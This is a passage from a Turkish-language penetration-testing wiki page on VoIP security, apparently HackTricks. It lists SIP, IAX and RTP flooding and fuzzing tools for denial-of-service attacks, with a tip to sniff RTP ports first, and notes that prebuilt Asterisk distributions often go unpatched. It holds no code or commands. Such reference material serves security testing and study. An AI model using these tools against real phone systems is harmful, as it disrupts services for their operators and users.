  • IAXFlooder: Asterisk tarafından kullanılan DoS IAX protokolü.

  • inviteflood: UDP/IP üzerinden SIP/SDP INVITE mesajı seli gerçekleştiren bir araç.

  • rtpflood: Birçok düzgün biçimlendirilmiş RTP paketi gönderir. Kullanılan RTP portlarını bilmek gerekir (önce sniff yapın).

  • SIPp: SIP trafiğini analiz etme ve oluşturma imkanı sağlar, bu nedenle DoS için de kullanılabilir.

  • SIPsak: SIP çok amaçlı alet. SIP saldırıları gerçekleştirmek için de kullanılabilir.

  • Fuzzers: protos-sip, voiper.

OS Güvenlik Açıkları

Asterisk gibi bir yazılımı kurmanın en kolay yolu, zaten kurulu olan bir OS dağıtımını indirmektir, örneğin: FreePBX, Elastix, Trixbox... Bu dağıtımların sorunu, çalışmaya başladıktan sonra sistem yöneticilerinin bir daha güncellemeyebileceği ve güvenlik açıklarının zamanla keşfedileceğidir.

Referanslar

Support HackTricks

Last updated